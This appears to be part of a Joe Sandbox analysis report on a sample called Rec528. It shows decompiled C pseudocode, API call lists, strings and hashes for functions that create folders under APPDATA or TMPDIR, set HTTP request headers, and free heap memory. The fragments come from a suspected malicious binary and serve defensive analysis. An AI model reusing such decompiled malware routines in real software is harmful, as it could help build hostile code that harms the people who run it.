					_t148 = GetLastError;
					if(GetLastError() == 0xb7) {
						goto L21;
					} else {
						if(GetTempPathA(0x104, _t151 - 0x224) < 0) {
							_t86 = E10005A63(_t111, GetLastError, _t150, __eflags, "TMPDIR");
							_t144 = _t86;
							_t128 = _t86;
							_t112 = _t128 + 1;
							do {
								_t87 =  *_t128;
								_t128 = _t128 + 1;
								__eflags = _t87;
							} while (_t87 != 0);
							_t130 = _t151 - 0x23c;
							E1000183D(_t151 - 0x23c, _t144, _t128 - _t112);
							_t111 = 0;
							__eflags = 0;
						} else {
							_t137 = _t151 - 0x224;
							_t146 = _t137 + 1;
							do {
								_t105 =  *_t137;
								_t137 = _t137 + 1;
								_t160 = _t105;
							} while (_t105 != 0);
							_t130 = _t151 - 0x23c;
							E1000183D(_t151 - 0x23c, _t151 - 0x224, _t137 - _t146);
						}
						_t90 = E10005944(_t130, _t160) & 0x80000007;
						if(_t90 < 0) {
							_t90 = (_t90 - 0x00000001 | 0xfffffff8) + 1;
							_t162 = _t90;
						}
						_t40 = _t90 + 4; // 0x4
						_t131 = _t151 - 0x270;
						_t91 = E10001BB9(_t111, _t151 - 0x270, _t40, _t148, _t150, _t162);
						 *(_t151 - 4) = 3;
						E100019AC(_t151 - 0x258, E10002439(_t91, _t151 - 0x270, _t131, "true"));
						 *(_t151 - 4) = 4;
						_t95 =  >=  ?  *((void*)(_t151 - 0x258)) : _t151 - 0x258;
						E100021D6(_t151 - 0x23c,  >=  ?  *((void*)(_t151 - 0x258)) : _t151 - 0x258,  *((intOrPtr*)(_t151 - 0x248)));
						E10001B3F(_t151 - 0x258);
						E10001B3F(_t151 - 0x270);
						_t100 =  >=  ?  *((void*)(_t151 - 0x23c)) : _t151 - 0x23c;
						if(CreateDirectoryA( >=  ?  *((void*)(_t151 - 0x23c)) : _t151 - 0x23c, _t111) != 0 || GetLastError() == 0xb7) {
							goto L21;
						} else {
							 *_t150 = _t111;
							_t150[4] = _t111;
							_t150[5] = 0xf;
							 *_t150 = _t111;
						}
					}
				}
				E10001B3F(_t151 - 0x23c);
				return E1000E837(_t111, _t148, _t150);
			}

0x10001c58
0x10001c62
0x10001c67
0x10001c69
0x10001c6f
0x10001c71
0x10001c77
0x10001c7d
0x10001c83
0x10001c8d
0x10001c93
0x10001c99
0x10001ca2
0x10001caa
0x10001cd3
0x10001cd5
0x10001cd7
0x10001cda
0x10001cda
0x10001cdc
0x10001cdd
0x10001cdd
0x10001ce1
0x10001ce1
0x10001ce3
0x10001ce4
0x10001cac
0x10001cac
0x10001cb2
0x10001cb5
0x10001cb5
0x10001cb7
0x10001cb8
0x10001cb8
0x10001cc4
0x10001cc5
0x10001cc5
0x10001ceb
0x10001cf0
0x10001cf7
0x10001cf8
0x10001cfb
0x10001d04
0x10001d0f
0x10001d1f
0x10001d24
0x10001d41
0x10001d49
0x10001d54
0x10001d5f
0x10001d62
0x10001d75
0x10001d85
0x10001eb8
0x10001ec1
0x10001d8b
0x10001d8b
0x10001d98
0x00000000
0x10001d9e
0x10001db2
0x10001de0
0x10001de6
0x10001de8
0x10001dea
0x10001ded
0x10001ded
0x10001def
0x10001df0
0x10001df0
0x10001df8
0x10001dfe
0x10001e03
0x10001e03
0x10001db4
0x10001db4
0x10001dba
0x10001dbd
0x10001dbd
0x10001dbf
0x10001dc0
0x10001dc0
0x10001dce
0x10001dd4
0x10001dd4
0x10001e0a
0x10001e0f
0x10001e15
0x10001e15
0x10001e15
0x10001e16
0x10001e19
0x10001e1f
0x10001e2a
0x10001e3a
0x10001e3f
0x10001e5c
0x10001e64
0x10001e6f
0x10001e7a
0x10001e8d
0x10001e9d
0x00000000
0x10001ea8
0x10001ea8
0x10001eaa
0x10001ead
0x10001eb4
0x10001eb4
0x10001e9d
0x10001d98
0x10001ecc
0x10001ed8

APIs

__EH_prolog3_GS.LIBCMT ref: 10001C62
SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,00000264,10001FE7,?), ref: 10001CA2
CreateDirectoryA.KERNEL32(?,00000000,?,?,00000000,?,?,?,00000000,00000001), ref: 10001D7D
GetLastError.KERNEL32(?,?,?,00000000,00000001), ref: 10001D91
GetTempPathA.KERNEL32(00000104,?,?,?,?,00000000,00000001), ref: 10001DAA
CreateDirectoryA.KERNEL32(?,00000000,?,?,00000000,?,?,?,00000000,00000001,?,?,?,00000000,00000001), ref: 10001E95
GetLastError.KERNEL32(?,?,?,00000000,00000001,?,?,?,00000000,00000001), ref: 10001E9F

Strings

TMPDIR, xrefs: 10001DDB
APPDATA, xrefs: 10001CC8

Memory Dump Source

Source File: 00000002.00000002.444227906.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.444222035.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.444250989.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.444265818.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_Rec528.jbxd

Similarity

API ID: CreateDirectoryErrorLastPath$FolderH_prolog3_Temp
String ID: APPDATA$TMPDIR
API String ID: 1838500112-4048745339
Opcode ID: c6a410fc002e645cccb1a5b427bbf7c06c1643087553a93f6c17ba7eb82f6d45
Instruction ID: d5fa76b03151e431a805f557f087b1df6106db16f154645655528106c7a76cbe
Opcode Fuzzy Hash: c6a410fc002e645cccb1a5b427bbf7c06c1643087553a93f6c17ba7eb82f6d45
Instruction Fuzzy Hash: 18619C74900158DAEB24DF64CC99BEDB7B9EF44280F5082D9E04AA2156DB74AB89CF20

Uniqueness

Uniqueness Score: -1.00%

Function 100010F0 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 64
networkCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E100010F0(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				void* _t57;
				void* _t60;

				_push(0x20);
				E1000E879(0x1000fb7a, __ebx, __edi, __esi);
				_t57 =  *(_t60 + 8);
				 *((intOrPtr*)(_t60 - 0x18)) = 0xf;
				 *((intOrPtr*)(_t60 - 0x2c)) = 0;
				 *(_t60 - 0x1c) = 0;
				 *((char*)(_t60 - 0x2c)) = 0;
				E1000183D(_t60 - 0x2c, "Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1", 0x7d);
				 *((intOrPtr*)(_t60 - 4)) = 0;
				_t32 =  >=  ?  *((void*)(_t60 - 0x2c)) : _t60 - 0x2c;
				HttpAddRequestHeadersA(_t57,  >=  ?  *((void*)(_t60 - 0x2c)) : _t60 - 0x2c,  *(_t60 - 0x1c), 0x20000000);
				E1000183D(_t60 - 0x2c, "Accept-Language: ru-RU,ru;q=0.9,en;q=0.8", 0x28);
				_t36 =  >=  ?  *((void*)(_t60 - 0x2c)) : _t60 - 0x2c;
				HttpAddRequestHeadersA(_t57,  >=  ?  *((void*)(_t60 - 0x2c)) : _t60 - 0x2c,  *(_t60 - 0x1c), 0x20000000);
				E1000183D(_t60 - 0x2c, "Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1", 0x32);
				_t40 =  >=  ?  *((void*)(_t60 - 0x2c)) : _t60 - 0x2c;
				HttpAddRequestHeadersA(_t57,  >=  ?  *((void*)(_t60 - 0x2c)) : _t60 - 0x2c,  *(_t60 - 0x1c), 0x20000000);
				E1000183D(_t60 - 0x2c, "Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0", 0x37);
				_t44 =  >=  ?  *((void*)(_t60 - 0x2c)) : _t60 - 0x2c;
				HttpAddRequestHeadersA(_t57,  >=  ?  *((void*)(_t60 - 0x2c)) : _t60 - 0x2c,  *(_t60 - 0x1c), 0x20000000);
				E10001B3F(_t60 - 0x2c);
				return E1000E837(0x20000000, _t57, HttpAddRequestHeadersA);
			}

0x100010f0
0x100010f7
0x100010fc
0x10001104
0x1000110d
0x10001115
0x10001118
0x1000111b
0x10001120
0x10001135
0x1000113f
0x1000114b
0x1000115b
0x10001161
0x1000116d
0x1000117d
0x10001183
0x1000118f
0x1000119f
0x100011a5
0x100011aa
0x100011b4

APIs

__EH_prolog3_GS.LIBCMT ref: 100010F7
HttpAddRequestHeadersA.WININET(?,?,00000010,20000000), ref: 1000113F
HttpAddRequestHeadersA.WININET(?,?,00000010,20000000), ref: 10001161
HttpAddRequestHeadersA.WININET(?,?,00000010,20000000), ref: 10001183
HttpAddRequestHeadersA.WININET(?,?,00000010,20000000), ref: 100011A5

Strings

Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1, xrefs: 10001110
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8, xrefs: 10001143
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0, xrefs: 10001187
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1, xrefs: 10001165

Memory Dump Source

Source File: 00000002.00000002.444227906.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.444222035.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.444250989.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.444265818.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_Rec528.jbxd

Similarity

API ID: HeadersHttpRequest$H_prolog3_
String ID: Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1$Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0$Accept-Language: ru-RU,ru;q=0.9,en;q=0.8$Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
API String ID: 1254599795-787135837
Opcode ID: d875d002382c6aac6ec7f921ce8ec808c5f1ecd81fc9b18c8107746166e3de43
Instruction ID: 4ac9521d2edcd2b550c43f161278ef4e4eeb2b8440a5e7b4782c2d804c0e459a
Opcode Fuzzy Hash: d875d002382c6aac6ec7f921ce8ec808c5f1ecd81fc9b18c8107746166e3de43
Instruction Fuzzy Hash: 2921B471D0010DEEEB11DBE9D891EEEBBB8EB18790F90C019E22576051CB75AA45CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 0041C9CB Relevance: 15.1, APIs: 10, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E0041C9CB(void* __ebx, void* __edi, void* __esi, char _a4) {
				void* _v5;
				char _v12;
				char _v16;
				char _v20;
				void* __ebp;
				char _t55;
				char _t61;
				void* _t67;
				intOrPtr _t68;
				void* _t72;
				void* _t73;

				_t73 = __esi;
				_t72 = __edi;
				_t67 = __ebx;
				_t36 = _a4;
				_t68 =  *_a4;
				_t77 = _t68 - 0x431400;
				if(_t68 != 0x431400) {
					E0041E238(_t68);
					_t36 = _a4;
				}
				E0041E238( *((intOrPtr*)(_t36 + 0x3c)));
				E0041E238( *((intOrPtr*)(_a4 + 0x30)));
				E0041E238( *((intOrPtr*)(_a4 + 0x34)));
				E0041E238( *((intOrPtr*)(_a4 + 0x38)));
				E0041E238( *((intOrPtr*)(_a4 + 0x28)));
				E0041E238( *((intOrPtr*)(_a4 + 0x2c)));
				E0041E238( *((intOrPtr*)(_a4 + 0x40)));
				E0041E238( *((intOrPtr*)(_a4 + 0x44)));
				E0041E238( *((intOrPtr*)(_a4 + 0x360)));
				_v16 =  &_a4;
				_t55 = 5;
				_v12 = _t55;
				_v20 = _t55;
				_push( &_v12);
				_push( &_v16);
				_push( &_v20);
				E0041C7F7(_t67, _t72, _t73, _t77);
				_v16 =  &_a4;
				_t61 = 4;
				_v20 = _t61;
				_v12 = _t61;
				_push( &_v20);
				_push( &_v16);
				_push( &_v12);
				return E0041C862(_t67, _t72, _t73, _t77);
			}

0x0041c9cb
0x0041c9cb
0x0041c9cb
0x0041c9d0
0x0041c9d6
0x0041c9d8
0x0041c9de
0x0041c9e1
0x0041c9e6
0x0041c9e9
0x0041c9ed
0x0041c9f8
0x0041ca03
0x0041ca0e
0x0041ca19
0x0041ca24
0x0041ca2f
0x0041ca3a
0x0041ca48
0x0041ca53
0x0041ca5b
0x0041ca5c
0x0041ca5f
0x0041ca65
0x0041ca69
0x0041ca6d
0x0041ca6e
0x0041ca78
0x0041ca7e
0x0041ca7f
0x0041ca82
0x0041ca88
0x0041ca8c
0x0041ca90
0x0041ca97

APIs

_free.LIBCMT ref: 0041C9E1

Part of subcall function 0041E238: HeapFree.KERNEL32(00000000,00000000,?,00425D07,?,00000000,?,?,?,00425FAA,?,00000007,?,?,0042649D,?), ref: 0041E24E
Part of subcall function 0041E238: GetLastError.KERNEL32(?,?,00425D07,?,00000000,?,?,?,00425FAA,?,00000007,?,?,0042649D,?,?), ref: 0041E260

_free.LIBCMT ref: 0041C9ED
_free.LIBCMT ref: 0041C9F8
_free.LIBCMT ref: 0041CA03
_free.LIBCMT ref: 0041CA0E
_free.LIBCMT ref: 0041CA19
_free.LIBCMT ref: 0041CA24
_free.LIBCMT ref: 0041CA2F
_free.LIBCMT ref: 0041CA3A
_free.LIBCMT ref: 0041CA48

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 064518bb8398a549d41507d19e53a4755c223495735e655d29204e71220b294f
Instruction ID: 66cf2a5b72ad719711799000863d9c42f97125594230b8e5b331ac7c0ede43d3
Opcode Fuzzy Hash: 064518bb8398a549d41507d19e53a4755c223495735e655d29204e71220b294f
Instruction Fuzzy Hash: DE211076900108AFDB05EF96C991CDD7BB8BF08344F4041AAF515AF161DB75DA85CF84

Uniqueness

Uniqueness Score: -1.00%

Function 00440E98 Relevance: 15.1, APIs: 10, Instructions: 69COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00440EAE
_free.LIBCMT ref: 00440EBA
_free.LIBCMT ref: 00440EC5
_free.LIBCMT ref: 00440ED0
_free.LIBCMT ref: 00440EDB
_free.LIBCMT ref: 00440EE6
_free.LIBCMT ref: 00440EF1
_free.LIBCMT ref: 00440EFC
_free.LIBCMT ref: 00440F07
_free.LIBCMT ref: 00440F15

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: d79a546062d0302fc42337061297b37c98ef981b727cbe0994bc05bb83e7c45d
Instruction ID: b5acc537e47175a484598864f7b5fa9eab7981bf784aec42cf186d38ae6ea6e0
Opcode Fuzzy Hash: d79a546062d0302fc42337061297b37c98ef981b727cbe0994bc05bb83e7c45d
Instruction Fuzzy Hash: 9821B67690010CBFDF41EF96C881DDE7BB8AF08344F0081AAF6159B121DB35EA958B88

Uniqueness

Uniqueness Score: -1.00%

Function 10006CE8 Relevance: 15.1, APIs: 10, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E10006CE8(void* __ebx, void* __edi, void* __esi, char _a4) {
				void* _v5;
				char _v12;
				char _v16;
				char _v20;
				void* __ebp;
				char _t55;
				char _t61;
				void* _t67;
				intOrPtr _t68;
				void* _t72;
				void* _t73;

				_t73 = __esi;
				_t72 = __edi;
				_t67 = __ebx;
				_t36 = _a4;
				_t68 =  *_a4;
				_t77 = _t68 - 0x10010e60;
				if(_t68 != 0x10010e60) {
					E100079CC(_t68);
					_t36 = _a4;
				}
				E100079CC( *((intOrPtr*)(_t36 + 0x3c)));
				E100079CC( *((intOrPtr*)(_a4 + 0x30)));
				E100079CC( *((intOrPtr*)(_a4 + 0x34)));
				E100079CC( *((intOrPtr*)(_a4 + 0x38)));
				E100079CC( *((intOrPtr*)(_a4 + 0x28)));
				E100079CC( *((intOrPtr*)(_a4 + 0x2c)));
				E100079CC( *((intOrPtr*)(_a4 + 0x40)));
				E100079CC( *((intOrPtr*)(_a4 + 0x44)));
				E100079CC( *((intOrPtr*)(_a4 + 0x360)));
				_v16 =  &_a4;
				_t55 = 5;
				_v12 = _t55;
				_v20 = _t55;
				_push( &_v12);
				_push( &_v16);
				_push( &_v20);
				E10006B14(_t67, _t72, _t73, _t77);
				_v16 =  &_a4;
				_t61 = 4;
				_v20 = _t61;
				_v12 = _t61;
				_push( &_v20);
				_push( &_v16);
				_push( &_v12);
				return E10006B7F(_t67, _t72, _t73, _t77);
			}

0x10006ce8
0x10006ce8
0x10006ce8
0x10006ced
0x10006cf3
0x10006cf5
0x10006cfb
0x10006cfe
0x10006d03
0x10006d06
0x10006d0a
0x10006d15
0x10006d20
0x10006d2b
0x10006d36
0x10006d41
0x10006d4c
0x10006d57
0x10006d65
0x10006d70
0x10006d78
0x10006d79
0x10006d7c
0x10006d82
0x10006d86
0x10006d8a
0x10006d8b
0x10006d95
0x10006d9b
0x10006d9c
0x10006d9f
0x10006da5
0x10006da9
0x10006dad
0x10006db4

APIs

_free.LIBCMT ref: 10006CFE

Part of subcall function 100079CC: RtlFreeHeap.NTDLL(00000000,00000000,?,10006680), ref: 100079E2
Part of subcall function 100079CC: GetLastError.KERNEL32(?,?,10006680), ref: 100079F4

_free.LIBCMT ref: 10006D0A
_free.LIBCMT ref: 10006D15
_free.LIBCMT ref: 10006D20
_free.LIBCMT ref: 10006D2B
_free.LIBCMT ref: 10006D36
_free.LIBCMT ref: 10006D41
_free.LIBCMT ref: 10006D4C
_free.LIBCMT ref: 10006D57
_free.LIBCMT ref: 10006D65

Memory Dump Source

Source File: 00000002.00000002.444227906.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.444222035.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.444250989.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.444265818.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_Rec528.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: b266898b7a7f76116449d05480b171a99e38c3c9977e03bd93cbf6a3d390effc
Instruction ID: 4781c83acf22a40caadf8cb42c071b3f7897bd68c2c10381a670a8560e13fcd9
Opcode Fuzzy Hash: b266898b7a7f76116449d05480b171a99e38c3c9977e03bd93cbf6a3d390effc
Instruction Fuzzy Hash: 4321B67A900109AFDF42DF94CC81DEE7FB9FF08280F0055A6B5599B126DB35EA84CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0042AD31 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 147COMMONLIBRARYCODE

Download Yara Rule

APIs

DecodePointer.KERNEL32(?,?,?,?,?,?,?,?,?,0042BA1F), ref: 0042AD4A

Strings

acos, xrefs: 0042AE80
log10, xrefs: 0042AD8C, 0042AD9B
pow, xrefs: 0042ADE8, 0042AE92, 0042AEDF
sqrt, xrefs: 0042AE89
exp, xrefs: 0042ADC9, 0042AE2E
asin, xrefs: 0042AE77
log, xrefs: 0042ADA7, 0042ADB6

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: DecodePointer
String ID: acos$asin$exp$log$log10$pow$sqrt
API String ID: 3527080286-3064271455
Opcode ID: b5cc97e02160cab54907758622b56858502a5b5ddf27fcd482fea8025da3f996
Instruction ID: 4aa74325dcdc626f541fd1c98c67c5bdae94afb4a4a1130807f65123bd920995
Opcode Fuzzy Hash: b5cc97e02160cab54907758622b56858502a5b5ddf27fcd482fea8025da3f996
Instruction Fuzzy Hash: E3515F70A0062ACBCF109F99F9481AEBB75FB09304F964097DC51A6264C77C8976DB1F

Uniqueness

Uniqueness Score: -1.00%

Function 00425ACF Relevance: 13.7, APIs: 9, Instructions: 199
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E00425ACF(void* __edx, char _a4) {
				void* _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				char _v24;
				void _t53;
				intOrPtr _t54;
				intOrPtr _t55;
				intOrPtr _t56;
				intOrPtr _t57;
				signed int _t60;
				signed int _t69;
				signed int _t71;
				signed int _t74;
				signed int _t77;
				char _t82;
				void* _t93;
				signed int _t96;
				char _t107;
				char _t108;
				void* _t113;
				char* _t114;
				signed int _t120;
				signed int* _t121;
				char _t123;
				intOrPtr* _t125;
				char* _t130;

				_t113 = __edx;
				_t123 = _a4;
				_v24 = _t123;
				_v20 = 0;
				if( *((intOrPtr*)(_t123 + 0xb0)) != 0 ||  *((intOrPtr*)(_t123 + 0xac)) != 0) {
					_v16 = 1;
					_t93 = E0041E1DB(1, 0x50);
					if(_t93 != 0) {
						_t96 = 0x14;
						memcpy(_t93,  *(_t123 + 0x88), _t96 << 2);
						_t125 = E0041ECAF(4);
						_t120 = 0;
						_v8 = _t125;
						E0041E238(0);
						if(_t125 != 0) {
							 *_t125 = 0;
							_t123 = _a4;
							if( *((intOrPtr*)(_t123 + 0xb0)) == 0) {
								_t53 =  *0x43d160; // 0x43d1b4
								 *_t93 = _t53;
								_t54 =  *0x43d164; // 0x450784
								 *((intOrPtr*)(_t93 + 4)) = _t54;
								_t55 =  *0x43d168; // 0x450784
								 *((intOrPtr*)(_t93 + 8)) = _t55;
								_t56 =  *0x43d190; // 0x43d1b8
								 *((intOrPtr*)(_t93 + 0x30)) = _t56;
								_t57 =  *0x43d194; // 0x450788
								 *((intOrPtr*)(_t93 + 0x34)) = _t57;
								L19:
								 *_v8 = 1;
								if(_t120 != 0) {
									 *_t120 = 1;
								}
								goto L21;
							}
							_t121 = E0041ECAF(4);
							_v12 = _t121;
							E0041E238(0);
							_push(_t93);
							if(_t121 != 0) {
								 *_t121 =  *_t121 & 0x00000000;
								_t122 =  *((intOrPtr*)(_t123 + 0xb0));
								_t69 = E00421645(_t113);
								_t16 = _t93 + 4; // 0x4
								_t71 = E00421645(_t113,  &_v24, "true",  *((intOrPtr*)(_t123 + 0xb0)), 0xf, _t16,  &_v24);
								_t18 = _t93 + 8; // 0x8
								_t74 = E00421645(_t113,  &_v24, "true",  *((intOrPtr*)(_t123 + 0xb0)), 0x10, _t18, "true");
								_t20 = _t93 + 0x30; // 0x30
								_t77 = E00421645(_t113,  &_v24, 2,  *((intOrPtr*)(_t123 + 0xb0)), 0xe, _t20, _t122);
								_t22 = _t93 + 0x34; // 0x34
								if((E00421645(_t113,  &_v24, 2, _t122, 0xf, _t22, 0xe) | _t69 | _t71 | _t74 | _t77) == 0) {
									_t114 =  *((intOrPtr*)(_t93 + 8));
									while(1) {
										_t82 =  *_t114;
										if(_t82 == 0) {
											break;
										}
										_t30 = _t82 - 0x30; // -48
										_t107 = _t30;
										if(_t107 > 9) {
											if(_t82 != 0x3b) {
												L16:
												_t114 = _t114 + 1;
												continue;
											}
											_t130 = _t114;
											do {
												_t108 =  *((intOrPtr*)(_t130 + 1));
												 *_t130 = _t108;
												_t130 = _t130 + 1;
											} while (_t108 != 0);
											continue;
										}
										 *_t114 = _t107;
										goto L16;
									}
									_t120 = _v12;
									_t123 = _a4;
									goto L19;
								}
								E00425A66(_t93);
								E0041E238(_t93);
								E0041E238(_v12);
								_v16 = _v16 | 0xffffffff;
								L12:
								E0041E238(_v8);
								return _v16;
							}
							E0041E238();
							goto L12;
						}
						E0041E238(_t93);
						return 1;
					}
					return 1;
				} else {
					_t120 = 0;
					_v8 = 0;
					_t93 = 0x43d160;
					L21:
					_t60 =  *(_t123 + 0x80);
					if(_t60 != 0) {
						asm("lock dec dword [eax]");
					}
					if( *((intOrPtr*)(_t123 + 0x7c)) != 0) {
						asm("lock xadd [ecx], eax");
						if((_t60 | 0xffffffff) == 0) {
							E0041E238( *((intOrPtr*)(_t123 + 0x7c)));
							E0041E238( *(_t123 + 0x88));
						}
					}
					 *((intOrPtr*)(_t123 + 0x7c)) = _v8;
					 *(_t123 + 0x80) = _t120;
					 *(_t123 + 0x88) = _t93;
					return 0;
				}
			}

0x00425acf
0x00425ad9
0x00425adf
0x00425ae2
0x00425aeb
0x00425b0a
0x00425b12
0x00425b18
0x00425b2b
0x00425b2c
0x00425b35
0x00425b37
0x00425b3a
0x00425b3d
0x00425b46
0x00425b57
0x00425b59
0x00425b62
0x00425cb1
0x00425cb6
0x00425cb8
0x00425cbd
0x00425cc0
0x00425cc5
0x00425cc8
0x00425ccd
0x00425cd0
0x00425cd5
0x00425c44
0x00425c4a
0x00425c4e
0x00425c50
0x00425c50
0x00000000
0x00425c4e
0x00425b6f
0x00425b73
0x00425b76
0x00425b7d
0x00425b80
0x00425b8d
0x00425b93
0x00425b9f
0x00425ba4
0x00425bb3
0x00425bba
0x00425bc7
0x00425bce
0x00425bdb
0x00425be5
0x00425bfc
0x00425c28
0x00425c38
0x00425c38
0x00425c3c
0x00000000
0x00000000
0x00425c2d
0x00425c2d
0x00425c33
0x00425c9f
0x00425c37
0x00425c37
0x00000000
0x00425c37
0x00425ca1
0x00425ca3
0x00425ca3
0x00425ca6
0x00425ca8
0x00425cab
0x00000000
0x00425caf
0x00425c35
0x00000000
0x00425c35
0x00425c3e
0x00425c41
0x00000000
0x00425c41
0x00425bff
0x00425c05
0x00425c0d
0x00425c15
0x00425c19
0x00425c1d
0x00000000
0x00425c25
0x00425b82
0x00000000
0x00425b87
0x00425b49
0x00000000
0x00425b51
0x00000000
0x00425af5
0x00425af5
0x00425af7
0x00425afa
0x00425c52
0x00425c52
0x00425c5a
0x00425c5c
0x00425c5c
0x00425c64
0x00425c69
0x00425c6d
0x00425c72
0x00425c7d
0x00425c83
0x00425c6d
0x00425c87
0x00425c8c
0x00425c92
0x00000000
0x00425c92

APIs

_free.LIBCMT ref: 00425B3D
_free.LIBCMT ref: 00425B49
_free.LIBCMT ref: 00425C72
_free.LIBCMT ref: 00425C7D

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: e0240ce2d3921ec6252b984136203d515e46235ae9bd42061f6a5da9b77a5d8b
Instruction ID: ea62a9cf6e12698461717c0d25c752f22009df9ef00203b99c68ec3bb5235a1f
Opcode Fuzzy Hash: e0240ce2d3921ec6252b984136203d515e46235ae9bd42061f6a5da9b77a5d8b
Instruction Fuzzy Hash: C8612671A007149FEB20DF66E841BABB7E8EF48310F90456FE945EB281F774AD418B58

Uniqueness

Uniqueness Score: -1.00%

Function 0040C510 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 123
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E0040C510(intOrPtr __edx) {
				intOrPtr _v8;
				char _v16;
				char _v24;
				signed int _v32;
				intOrPtr* _v36;
				char _v40;
				char _v44;
				intOrPtr* _v48;
				char _v68;
				char _v120;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t40;
				signed int _t41;
				intOrPtr* _t44;
				intOrPtr _t48;
				intOrPtr _t50;
				void* _t57;
				signed int _t63;
				void* _t64;
				intOrPtr _t66;
				intOrPtr _t73;
				signed int _t81;
				void* _t82;
				intOrPtr* _t84;
				intOrPtr* _t85;
				void* _t86;
				void* _t91;
				signed int _t94;
				void* _t102;

				_t79 = __edx;
				_t64 = _t91;
				_t94 = (_t91 - 0x00000008 & 0xfffffff8) + 4;
				_v8 =  *((intOrPtr*)(_t64 + 4));
				_t89 = _t94;
				_push(0xffffffff);
				_push(0x42cbd4);
				_push( *[fs:0x0]);
				_push(_t64);
				_t40 =  *0x43d054; // 0x298e9dc2
				_t41 = _t40 ^ _t94;
				_v32 = _t41;
				_push(_t41);
				 *[fs:0x0] =  &_v24;
				_t84 =  *((intOrPtr*)(_t64 + 8));
				_v36 = _t84;
				E0040E023( &_v44, 0);
				_v16 = 0;
				_t81 =  *0x4500b0;
				_t44 =  *0x450d08; // 0x1671d18
				_v48 = _t44;
				if(_t81 == 0) {
					E0040E023( &_v40, _t81);
					_t102 =  *0x4500b0 - _t81; // 0x1
					if(_t102 == 0) {
						_t63 =  *0x450098 + 1;
						 *0x450098 = _t63;
						 *0x4500b0 = _t63;
					}
					E0040E07B( &_v40);
					_t81 =  *0x4500b0;
				}
				_t66 =  *((intOrPtr*)(_t84 + 4));
				if(_t81 >=  *((intOrPtr*)(_t66 + 0xc))) {
					_t85 = 0;
					__eflags = 0;
					L8:
					if( *((char*)(_t66 + 0x14)) == 0) {
						L11:
						if(_t85 != 0) {
							L19:
							E0040E07B( &_v44);
							 *[fs:0x0] = _v24;
							_pop(_t82);
							_pop(_t86);
